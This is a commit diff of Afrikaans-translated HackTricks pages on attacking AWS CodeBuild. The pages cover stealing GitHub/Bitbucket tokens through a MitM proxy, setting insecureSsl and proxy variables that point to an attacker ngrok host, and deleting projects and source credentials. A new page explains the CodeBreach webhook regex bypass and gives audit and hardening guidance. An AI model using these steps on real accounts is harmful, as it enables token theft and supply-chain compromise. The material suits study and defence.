Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2026-02-03 12:52:08 +00:00
parent acbde064c5
commit 21c27e0297
3 changed files with 299 additions and 65 deletions
@@ -10,37 +10,37 @@ Vir meer inligting, kyk:
../../aws-services/aws-codebuild-enum.md
{{#endref}}
### Kontroleer Geheimen
### Check Secrets
As geloofsbriewe in Codebuild gestel is om met Github, Gitlab of Bitbucket te verbind in die vorm van persoonlike tokens, wagwoorde of OAuth-token toegang, **sal hierdie geloofsbriewe as geheime in die geheime bestuurder gestoor word**.\
Daarom, as jy toegang het om die geheime bestuurder te lees, sal jy in staat wees om hierdie geheime te verkry en na die gekonnekteerde platform te pivot.
As credentials in Codebuild ingestel is om met Github, Gitlab of Bitbucket te verbind in die vorm van personal tokens, wagwoorde of OAuth token access, gaan hierdie **credentials stored as secrets in the secret manager**.\
Dus, as jy toegang het om die secret manager te lees sal jy hierdie secrets kan kry en pivot na die verbonden platform.
{{#ref}}
../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md
{{#endref}}
### Misbruik van CodeBuild Repo Toegang
### Abuse CodeBuild Repo Access
Om **CodeBuild** te konfigureer, sal dit **toegang tot die kode-repo** benodig wat dit gaan gebruik. Verskeie platforms kan hierdie kode aanbied:
Om **CodeBuild** te konfigureer het dit **access to the code repo** nodig wat dit gaan gebruik. Verskeie platforms kan hierdie code host:
<figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
Die **CodeBuild-projek moet toegang hê** tot die geconfigureerde bronverskaffer, hetsy via **IAM-rol** of met 'n github/bitbucket **token of OAuth-toegang**.
Die **CodeBuild project must have access** tot die geconfigureerde source provider, óf via **IAM role** óf met 'n github/bitbucket **token or OAuth access**.
'n Aanvaller met **verhoogde regte in 'n CodeBuild** kan hierdie geconfigureerde toegang misbruik om die kode van die geconfigureerde repo en ander waar die gestelde geloofsbriewe toegang het, te lek.\
Om dit te doen, sal 'n aanvaller net die **repository-URL na elke repo wat die konfigurasiegeloofsbriewe toegang het, moet verander** (let daarop dat die aws-webwerf al hulle vir jou sal lys):
'n Aanvaller met **elevated permissions in over a CodeBuild** kan hierdie geconfigureerde access misbruik om die code van die geconfigureerde repo en ander waar die set creds toegang het te leak.\
Om dit te doen hoef 'n aanvaller net die **repository URL na elke repo wat die config credentials toegang het** te verander (let wel dat die aws web al hierdie vir jou sal lys):
<figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
En **verander die Buildspec-opdragte om elke repo te exfiltreer**.
En **change the Buildspec commands to exfiltrate each repo**.
> [!WARNING]
> Hierdie **taak is herhalend en vervelig** en as 'n github-token met **skryfregte** geconfigureer is, sal 'n aanvaller **nie in staat wees om (mis)bruik te maak van daardie regte** nie, aangesien hy nie toegang tot die token het.\
> Of het hy? Kyk na die volgende afdeling
> Hierdie **taak is egter herhalend en vervelig** en as 'n github token geconfigureer is met **write permissions**, gaan 'n aanvaller **nie in staat wees om daardie permissions (ab)use nie** aangesien hy nie toegang tot die token het.\
> Of het hy? Kyk die volgende afdeling
### Lek van Toegangstokens van AWS CodeBuild
### Leaking Access Tokens from AWS CodeBuild
Jy kan toegang lek wat in CodeBuild aan platforms soos Github gegee is. Kyk of enige toegang tot eksterne platforms gegee is met:
You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
```bash
aws codebuild list-source-credentials
```
@@ -48,29 +48,37 @@ aws codebuild list-source-credentials
aws-codebuild-token-leakage.md
{{#endref}}
### Onbetroubare PR-uitvoering deur webhook-filter miskonfigurasie
Indien webhook-filters swak is, kan eksterne aanvallers hul PRs in bevoorregte CodeBuild-projekte laat bou en dan execute arbitrary code in CI.
{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md
{{#endref}}
### `codebuild:DeleteProject`
'n Aanvaller kan 'n hele CodeBuild-projek verwyder, wat tot verlies van projekkonfigurasie lei en toepassings wat op die projek staatmaak, beïnvloed.
Een aanvaller kan 'n hele CodeBuild-projek verwyder, wat tot verlies van projekkonfigurasie kan lei en toepassings wat op die projek staatmaak kan aantast.
```bash
aws codebuild delete-project --name <value>
```
**Potensiële Impak**: Verlies van projekkonfigurasie en diensonderbreking vir toepassings wat die verwyderde projek gebruik.
**Potensiële impak**: Verlies van projekkonfigurasie en diensonderbreking vir toepassings wat die verwyderde projek gebruik.
### `codebuild:TagResource` , `codebuild:UntagResource`
'n Aanvaller kan etikette byvoeg, wysig of verwyder van CodeBuild-hulpbronne, wat jou organisasie se koste-toewysing, hulpbronopsporing en toegangbeheerbeleide op grond van etikette ontwrig.
'n aanvaller kan etikette byvoeg, wysig of verwyder op CodeBuild-hulpbronne, wat jou organisasie se koste-toewysing, hulpbronopsporing en op etikette gebaseerde toegangsbeheerbeleide kan ontwrig.
```bash
aws codebuild tag-resource --resource-arn <value> --tags <value>
aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
```
**Potensiële Impak**: Ontwrichting van koste-toewysing, hulpbronopsporing, en etiket-gebaseerde toegangbeheerbeleide.
**Potensiële Impak**: Versteuring van kostetoewysing, hulpbronopsporing en etiketgebaseerde toegangsbeheerbeleide.
### `codebuild:DeleteSourceCredentials`
'n Aanvaller kan bronbewyse vir 'n Git-repositori verwyder, wat die normale funksionering van toepassings wat op die repositori staatmaak, beïnvloed.
n aanvaller kan bron-toegangsbewyse vir n Git repository verwyder, wat die normale werking van toepassings wat van die repository afhanklik is, kan beïnvloed.
```sql
aws codebuild delete-source-credentials --arn <value>
```
**Potensiële Impak**: Ontwrichting van normale funksionering vir toepassings wat op die geraakte repository staatmaak as gevolg van die verwydering van bronbewyse.
**Potensiële impak**: Versteuring van normale werking vir toepassings wat op die geraakte repository staatmaak weens die verwydering van bron-inlogbesonderhede.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -2,41 +2,41 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Herstel Github/Bitbucket Gekonfigureerde Tokens
## Herstel Github/Bitbucket-gekonfigureerde Tokens
Eerstens, kyk of daar enige source credentials gekonfigureer is wat jy kan leak:
Eerstens, kyk of daar enige bron-inlogbewyse gekonfigureer is wat jy kan leak:
```bash
aws codebuild list-source-credentials
```
### Deur Docker Image
### Deur Docker-image
Indien jy vind dat authentication na byvoorbeeld Github in die rekening ingestel is, kan jy **exfiltrate** daardie **access** (**GH token or OAuth token**) deur Codebuild te laat **use an specific docker image** om die build van die projek te run.
Indien jy sien dat authentisering, byvoorbeeld vir Github, in die account ingestel is, kan jy daardie **exfiltrate** daardie **access** (**GH token or OAuth token**) bewerkstellig deur Codebuild 'n **spesifieke Docker-image** te laat gebruik om die build van die projek uit te voer.
Vir hierdie doel kan jy **create a new Codebuild project** of die **environment** van 'n bestaande een verander om die **Docker image** te stel.
Vir hierdie doel kan jy 'n **nuwe Codebuild project** skep of die **omgewing** van 'n bestaande een verander om die **Docker image** te stel.
Die Docker image wat jy kan gebruik is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dit is 'n baie basiese Docker image wat die **env variables `https_proxy`**, **`http_proxy`** en **`SSL_CERT_FILE`** sal stel. Dit sal jou toelaat om meeste van die verkeer van die host aangedui in **`https_proxy`** en **`http_proxy`** te onderskep en die SSL CERT aangedui in **`SSL_CERT_FILE`** te vertrou.
Die Docker-image wat jy kan gebruik is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dit is 'n baie basiese Docker-image wat die **env variables `https_proxy`**, **`http_proxy`** en **`SSL_CERT_FILE`** sal stel. Dit sal jou toelaat om die meeste verkeer van die gasheer aangedui in **`https_proxy`** en **`http_proxy`** te onderskep en die SSL CERT aangedui in **`SSL_CERT_FILE`** te vertrou.
1. **Create & Upload your own Docker MitM image**
- Volg die instruksies van die repo om jou proxy IP-adres en SSL cert te stel en **build the docker image**.
- **DO NOT SET `http_proxy`** om nie versoeke na die metadata endpoint te onderskep nie.
- Jy kan **`ngrok`** soos `ngrok tcp 4444` gebruik om die proxy na jou host te stel
- Sodra jy die Docker image gebou het, **upload dit na 'n publieke repo** (Dockerhub, ECR...)
2. **Set the environment**
- Create a **new Codebuild project** of **modify** die environment van 'n bestaande een.
- Stel die project om die **previously generated Docker image** te gebruik
1. **Skep & laai op jou eie Docker MitM-image**
- Volg die instruksies in die repo om jou proxy IP-adres en SSL-cert in te stel en **bou die Docker-image**.
- **STEL NIE `http_proxy` NIE** om nie versoeke na die metadata endpoint te onderskep nie.
- Jy kan **`ngrok`** gebruik soos `ngrok tcp 4444` om die proxy na jou host te stel
- Sodra jy die Docker-image gebou het, **laai dit op na 'n openbare repo** (Dockerhub, ECR...)
2. **Stel die omgewing**
- Skep 'n **nuwe Codebuild project** of **wysig** die omgewing van 'n bestaande een.
- Stel die projek om die **vorheen gegenereerde Docker-image** te gebruik
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
3. **Set the MitM proxy in your host**
3. **Stel die MitM-proxy op jou host**
- Soos aangedui in die **Github repo** kan jy iets soos gebruik:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> Die **mitmproxy-weergawe wat gebruik is, was 9.0.1**, daar is gerapporteer dat dit met weergawe 10 dalk nie sal werk nie.
> Die **mitmproxy-weergawe wat gebruik is, was 9.0.1**, dit is gerapporteer dat dit met weergawe 10 moontlik nie sal werk nie.
4. **Voer die build uit & capture die credentials**
4. **Voer die build uit & vang die credentials op**
- Jy kan die token in die **Authorization** header sien:
@@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2
```
### Deur insecureSSL
**Codebuild** projekte het 'n instelling genaamd **`insecureSsl`** wat in die web versteek is — jy kan dit slegs via die API.\
Deur dit te aktiveer, kan Codebuild met die repository verbind **sonder om die sertifikaat te kontroleer** wat deur die platform aangebied word.
**Codebuild** projects het 'n instelling genaamd **`insecureSsl`** wat in die web UI versteek is — jy kan dit slegs via die API verander.\
As dit aangeskakel is, laat dit Codebuild toe om met die repository te koppel **sonder om die sertifikaat te verifieer** wat deur die platform aangebied word.
- Eerstens moet jy die huidige konfigurasie opspoor met iets soos:
- Eerstens moet jy die huidige konfigurasie opvra met iets soos:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- Dan, met die versamelde inligting kan jy die projekinstelling **`insecureSsl`** na **`True`** bywerk. Die volgende is 'n voorbeeld van hoe ek 'n projek bywerk; let op die **`insecureSsl=True`** aan die einde (dit is die enigste ding wat jy van die versamelde konfigurasie hoef te verander).
- Verder, voeg ook die omgewingsvariabeles **http_proxy** en **https_proxy** by en stel dit in om na jou tcp ngrok te wys, soos:
- Dan, met die ingesamelde inligting kan jy die projekinstelling **`insecureSsl`** op **`True`** opdateer. Die volgende is 'n voorbeeld van hoe ek 'n projek opdateer, let op die **`insecureSsl=True`** aan die einde (dit is die enigste ding wat jy hoef te verander van die ingesamelde konfigurasie).
- Boonop voeg ook die omgewingsveranderlikes **http_proxy** en **https_proxy** by wat na jou tcp ngrok wys soos:
```bash
aws codebuild update-project --name <proj-name> \
--source '{
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
]
}'
```
- Voer dan die basiese voorbeeld vanaf [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) uit op die poort waarna die proxy-variabels (http_proxy en https_proxy) wys.
- Voer dan die basiese voorbeeld van [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) uit op die poort waarna die proxy-veranderlikes (http_proxy en https_proxy) wys
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Uiteindelik, klik op **Build the project**, die **credentials** sal in **duidelike teks** (base64) na die mitm port gestuur word:
- Laastens, klik op **Build the project**, die **credentials** sal in **clear text** (base64) na die mitm-poort gestuur word:
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### ~~Deur die HTTP-protokol~~
### ~~Via HTTP-protocol~~
> [!TIP] > **Hierdie kwesbaarheid is deur AWS op 'n tydstip in die week van die 20ste Feb 2023 reggestel (ek dink Vrydag). Dus kan 'n aanvaller dit nie meer misbruik nie :)**
> [!TIP] > **Hierdie kwetsbaarheid is deur AWS op een of ander tydstip in die week van die 20ste Feb 2023 reggestel (ek dink Vrydag). Dus kan 'n attacker dit nie meer misbruik nie :)**
'n Aanvaller met **opgehewe permissies in 'n CodeBuild could leak the Github/Bitbucket token** wat gekonfigureer is, of as permissies via OAuth gekonfigureer is, die **tydelike OAuth token wat gebruik word om toegang tot die kode te verkry**.
'n attacker met **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** wat gekonfigureer is, of as permissions via OAuth gekonfigureer is, die **temporary OAuth token used to access the code**.
- 'n Aanvaller kon die omgewingsveranderlikes **http_proxy** en **https_proxy** by die CodeBuild-projek voeg wat na sy masjien wys (byvoorbeeld `http://5.tcp.eu.ngrok.io:14972`).
- 'n attacker kan die environment variables **http_proxy** en **https_proxy** by die CodeBuild project voeg wat na sy masjien wys (byvoorbeeld `http://5.tcp.eu.ngrok.io:14972`).
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
- Verander dan die URL van die github repo om HTTP in plaas van HTTPS te gebruik, byvoorbeeld: `http://github.com/carlospolop-forks/TestActions`
- Dan voer jy die basiese voorbeeld van [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) uit op die poort waarna die proxy-veranderlikes (http_proxy en https_proxy) wys
- Begin dan die basiese voorbeeld vanaf [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) op die poort waarna die proxy variables (http_proxy and https_proxy) wys
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,32 +158,23 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Klik dan op **Bou die projek** of begin die bou vanaf die opdraglyn:
- Volgende, klik op **Build the project** of begin die build vanaf die opdraglyn:
```sh
aws codebuild start-build --project-name <proj-name>
```
- Laastens sal die **inlogbesonderhede** in **platte teks** (base64) na die mitm-poort gestuur word:
- Laastens sal die **credentials** in **clear text** (base64) na die mitm port gestuur word:
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Nou kan n aanvaller die token vanaf sy masjien gebruik, al die bevoegdhede wat dit het lys en dit makliker misbruik as om die CodeBuild-diens direk te gebruik.
> Nou sal 'n attacker die token vanaf sy masjien kan gebruik, alle privileges wat dit het kan lys en dit makliker kan (ab)use as om die CodeBuild service direk te gebruik.
## Webhook-filter ACTOR_ID regex allowlist-omseiling (PR-geaktiveerde bevoorregte builds)
## Untrusted PR execution via webhook filter misconfiguration
Misgekonfigureerde CodeBuild GitHub webhooks wat ongeankerde `ACTOR_ID` regexes gebruik laat *onbetroubare* PRs toe om bevoorregte builds te begin. As die allowlist soos `123456|7890123` is sonder `^`/`$`, stem enige ID wat een van daardie substringe bevat ooreen. Aangesien GitHub-gebruikers-ID's sekwensieel is, kan n aanvaller n wedloop aangaan om n “eclipsing” ID te registreer (n superstring van n vertroude ID) en die build te aktiveer.
Vir die PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), sien:
**Eksploitpad**
1. Vind openbare CodeBuild-projekte wat webhook-filters openbaar en haal n ongeankerde `ACTOR_ID` allowlist uit.
2. Verkry n eclipsing GitHub ID:
- Neem monsters van die globale ID-teller deur GitHub orgs te skep/verwyder (org IDs deel dieselfde poel).
- Stel vooraf baie GitHub App manifest-skeppings op en aktiveer die bevestigings-URLs wanneer die teller binne ~100 ID's van die teiken is om n groep registrasies te doen en n bot-ID te burst-register wat die vertroude substring bevat.
3. Maak n PR oop vanaf die eclipsing-rekening; die regex pas by die substring en die bevoorregte build word uitgevoer.
4. Gebruik build RCE (bv. dependency install hooks) om prosesgeheue wat die GitHub-inlogbesonderhede hanteer uit te leeg en die PAT/OAuth token te herstel.
5. Met die token se `repo`-scope, nooi jou rekening as collaborator/admin uit en push/goedgekeur kwaadwillige commits of eksfiltreer geheime.
## References
- [Wiz: CodeBreach AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,235 @@
# AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
{{#include ../../../../banners/hacktricks-training.md}}
Hierdie aanvalsvector verskyn wanneer 'n **publieke PR-workflow** gekoppel is aan 'n **geprivilegieerde CodeBuild-projek** met swak webhook-kontroles.
As 'n eksterne aanvaller CodeBuild kan laat uitvoer op hul pull request, kan hulle gewoonlik **willekeurige kode-uitvoering binne die build** kry (build-skripte, dependency hooks, toets-skripte, ens.), en dan skuif na geheime, IAM-credentials, of source-provider credentials.
## Why this is dangerous
CodeBuild webhook-filters word geëvalueer met regex-patrone (vir nie-`EVENT` filters). In die `ACTOR_ACCOUNT_ID` filter beteken dit 'n swak patroon kan meer gebruikers pas as beoog.
As onbetroubare PRs in 'n projek gebou word wat geprivilegieerde AWS role-permissies of GitHub-credentials het, kan dit 'n volledige supply-chain kompromie word.
Wiz het 'n praktiese ketting gewys waar:
1. 'n webhook actor allowlist 'n **unanchored regex** gebruik het.
2. 'n aanvaller 'n GitHub ID geregistreer het wat as 'n **superstring** van 'n vertroude ID gematch het.
3. 'n kwaadwillige PR CodeBuild ge-trigger het.
4. Build-kode-uitvoering gebruik is om geheue te dump en source-provider credentials/tokens te herstel.
## Misconfigurations that allow external PR code execution
Die volgende is hoë-risiko foute en hoe aanvallers elkeen misbruik:
1. **`EVENT` filters allow untrusted triggers**
- Algemene riskante events: `PULL_REQUEST_CREATED`, `PULL_REQUEST_UPDATED`, `PULL_REQUEST_REOPENED`.
- Ander events wat gevaarlik kan raak as dit aan geprivilegieerde builds gekoppel is: `PUSH`, `PULL_REQUEST_CLOSED`, `PULL_REQUEST_MERGED`, `RELEASED`, `PRERELEASED`, `WORKFLOW_JOB_QUEUED`.
- Sleg: `EVENT="PUSH, PULL_REQUEST_CREATED, PULL_REQUEST_UPDATED"` in 'n geprivilegieerde projek.
- Beter: gebruik PR comment approval en minimaliseer trigger-events vir geprivilegieerde projekte.
- Misbruik: aanvaller open/update PR of push na 'n branch wat hulle beheer, en hul kode voer uit in CodeBuild.
2. **`ACTOR_ACCOUNT_ID` regex is weak**
- Sleg: ongeankerde patrone soos `123456|7890123`.
- Beter: exact-match anchoring `^(123456|7890123)$`.
- Misbruik: regex oor-pass laat ongemagtigde GitHub IDs deur allowlists glip.
3. **Other regex filters are weak or missing**
- `HEAD_REF`
- Sleg: `refs/heads/.*`
- Beter: `^refs/heads/main$` (of 'n eksplisiete vertroude lys)
- `BASE_REF`
- Sleg: `.*`
- Beter: `^refs/heads/main$`
- `FILE_PATH`
- Sleg: geen padbeperkings
- Beter: sluit riskante files uit soos `^buildspec\\.yml$`, `^\\.github/workflows/.*`, `(^|/)package(-lock)?\\.json$`
- `COMMIT_MESSAGE`
- Sleg: vertrouensmerk met lose match soos `trusted`
- Beter: gebruik nie commit message as 'n trust boundary vir PR-uitvoering nie
- `REPOSITORY_NAME` / `ORGANIZATION_NAME`
- Sleg: `.*` in org/globale webhooks
- Beter: slegs eksakte repo/org matches
- `WORKFLOW_NAME`
- Sleg: `.*`
- Beter: eksakte workflow-name matches slegs (of vermy dit as trust-kontrole)
- Misbruik: aanvaller vervaardig ref/path/message/repo konteks om permissive regex te bevredig en builds te trigger.
4. **`excludeMatchedPattern` is misused**
- Om hierdie vlag verkeerd te stel kan die bedoelde logika omkeer.
- Sleg: `FILE_PATH '^buildspec\\.yml$'` met `excludeMatchedPattern=false` wanneer die bedoeling was om buildspec-wysigings te blokkeer.
- Beter: dieselfde patroon met `excludeMatchedPattern=true` om builds wat `buildspec.yml` raak te weier.
- Misbruik: verdedigers dink hulle weier riskante events/paaie/actors, maar laat eintlik toe.
5. **Multiple `filterGroups` create accidental bypasses**
- CodeBuild evalueer groepe as OR (een slaag-groep is genoeg).
- Sleg: een streng groep + een permissiewe fallback-groep (bv. net `EVENT=PULL_REQUEST_UPDATED`).
- Beter: verwyder fallback-groepe wat nie actor/ref/path-beperkings afdwing nie.
- Misbruik: aanvaller hoef slegs die swakste groep te bevredig.
6. **Comment approval gate disabled or too permissive**
- `pullRequestBuildPolicy.requiresCommentApproval=DISABLED` is die minste veilig.
- Te breë approver-rolle verminder kontrole.
- Sleg: `requiresCommentApproval=DISABLED`.
- Beter: `ALL_PULL_REQUESTS` of `FORK_PULL_REQUESTS` met minimale approver-rolle.
- Misbruik: fork/drive-by PRs hardloop outomaties sonder vertroude maintainer-goedkeuring.
7. **No restrictive branch/path strategy for PR builds**
- Gebrek aan verdediging-in-diepte met `HEAD_REF` + `BASE_REF` + `FILE_PATH`.
- Sleg: net `EVENT` + `ACTOR_ACCOUNT_ID`, geen ref/path-beperkings nie.
- Beter: kombineer eksakte `ACTOR_ACCOUNT_ID` + `BASE_REF` + `HEAD_REF` + `FILE_PATH` beperkings.
- Misbruik: aanvaller wysig build-insette (buildspec/CI/dependencies) en kry arbitraire opdrag-uitvoering.
8. **Public visibility + status URL exposure**
- Openbare build-/check-URL's verbeter aanvaller-recon en iteratiewe toetsing.
- Sleg: `projectVisibility=PUBLIC_READ` met sensitiewe logs/config in openbare builds.
- Beter: hou projekte privaat tensy daar 'n sterk besigheidsbehoefte is, en saniteer logs/artifacts.
- Misbruik: aanvaller ontdek projekpatrone/gedrag en fynslif dan payloads en bypass-pogings.
## Token leakage from memory
Wiz se uiteensetting verduidelik dat source-provider credentials in die build runtime-konteks teenwoordig is en gesteel kan word na 'n build-kompromie (byvoorbeeld via memory dumping), wat repository-oorsig moontlik maak as scopes wyd is.
AWS het hardening bekendgestel na die openbaarmaking, maar die kernlesing bly: **never execute untrusted PR code in privileged build contexts** en aanvaar dat aanvaller-gekontroleerde build-kode poog om credentials te steel.
Vir bykomende credential theft techniques in CodeBuild, kyk ook:
{{#ref}}
aws-codebuild-token-leakage.md
{{#endref}}
## Finding CodeBuild URLs in GitHub PRs
As CodeBuild commit status terugrapporteer aan GitHub, verskyn die CodeBuild build-URL gewoonlik in:
1. **PR page** -> **Checks** tab (of die statusreël in Conversation/Commits).
2. **Commit page** -> status/checks afdeling -> **Details** skakel.
3. **PR commits list** -> klik die check context geheg aan 'n commit.
Vir openbare projekte kan hierdie skakel build-metadata/configuratie aan ongesertifiseerde gebruikers blootstel.
<details>
<summary>Skrip: detect CodeBuild-URLs in 'n PR en toets of dit openbaar lyk</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
# Usage:
# ./check_pr_codebuild_urls.sh <owner> <repo> <pr_number>
#
# Requirements: gh, jq, curl
OWNER="${1:?owner}"
REPO="${2:?repo}"
PR="${3:?pr_number}"
for bin in gh jq curl timeout; do
command -v "$bin" >/dev/null || { echo "[!] Missing dependency: $bin" >&2; exit 1; }
done
tmp_commits="$(mktemp)"
tmp_urls="$(mktemp)"
trap 'rm -f "$tmp_commits" "$tmp_urls"' EXIT
gh_api() {
timeout 20s gh api "$@" 2>/dev/null || true
}
# Get all commit SHAs in the PR (bounded call to avoid hangs)
gh_api "repos/${OWNER}/${REPO}/pulls/${PR}/commits" --paginate --jq '.[].sha' > "$tmp_commits"
if [ ! -s "$tmp_commits" ]; then
echo "[!] No commits found (or API call timed out/failed)." >&2
exit 1
fi
echo "[*] PR commits:"
cat "$tmp_commits"
echo
echo "[*] Searching commit statuses/check-runs for CodeBuild URLs..."
while IFS= read -r sha; do
[ -z "$sha" ] && continue
# Classic commit statuses (target_url)
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/status" \
--jq '.statuses[]? | .target_url // empty' 2>/dev/null || true
# GitHub Checks API (details_url)
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/check-runs" \
--jq '.check_runs[]? | .details_url // empty' 2>/dev/null || true
done < "$tmp_commits" | sort -u > "$tmp_urls"
grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true
echo
echo "[*] Public-access heuristic:"
echo " - If URL redirects to signin.aws.amazon.com -> likely not public"
echo " - If URL is directly reachable (HTTP 200) without auth redirect -> potentially public"
echo
cb_urls="$(grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true)"
if [ -z "$cb_urls" ]; then
echo "[*] No CodeBuild URLs found in PR statuses/check-runs."
exit 0
fi
while IFS= read -r url; do
[ -z "$url" ] && continue
final_url="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{url_effective}' "$url" || true)"
code="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{http_code}' "$url" || true)"
if echo "$final_url" | grep -qi 'signin\.aws\.amazon\.com'; then
verdict="NOT_PUBLIC_OR_AUTH_REQUIRED"
elif [ "$code" = "200" ]; then
verdict="POTENTIALLY_PUBLIC"
else
verdict="UNKNOWN_CHECK_MANUALLY"
fi
printf '%s\t%s\t%s\n' "$verdict" "$code" "$url"
done <<< "$cb_urls"
```
Getoets en werk met:
```bash
bash /tmp/check_pr_codebuild_urls.sh carlospolop codebuild-codebreach-ctf-lab 1
```
</details>
## Vinnige ouditkontrolelys
```bash
# Enumerate projects
aws codebuild list-projects
# Inspect source/webhook configuration
aws codebuild batch-get-projects --names <project-name>
# Inspect global source credentials configured in account
aws codebuild list-source-credentials
```
Kontroleer elke projek vir:
- `webhook.filterGroups` containing PR events.
- `ACTOR_ACCOUNT_ID` patterns that are not anchored with `^...$`.
- `pullRequestBuildPolicy.requiresCommentApproval` equal to `DISABLED`.
- Ontbrekende tak/pad-beperkings.
- Hoë-privilegie `serviceRole`.
- Risikovolle scope en hergebruik van source credentials.
## Verstevigingsriglyne
1. Vereis kommentaargoedkeuring vir PR-builds (`ALL_PULL_REQUESTS` of `FORK_PULL_REQUESTS`).
2. As jy actor allowlists gebruik, anker regexes en hou dit presies.
3. Voeg `FILE_PATH`-beperkings by om onbetroubare wysigings aan `buildspec.yml` en CI-skripte te voorkom.
4. Skil vertroude release-builds van onbetroubare PR-builds in verskillende projekte/rolle.
5. Gebruik fynkorrelige, minst-bevoorregte source-provider tokens (verkies toegewyde lae-bevoegdheid identiteite).
6. Oudit voortdurend webhook-filters en die gebruik van source credentials.
## References
- [Wiz: CodeBreach - AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
- [AWS CodeBuild API - WebhookFilter](https://docs.aws.amazon.com/codebuild/latest/APIReference/API_WebhookFilter.html)
- [AWS CLI - codebuild create-webhook](https://docs.aws.amazon.com/cli/latest/reference/codebuild/create-webhook.html)
- [AWS CodeBuild User Guide - Best practices for webhooks](https://docs.aws.amazon.com/codebuild/latest/userguide/webhooks.html)
{{#include ../../../../banners/hacktricks-training.md}}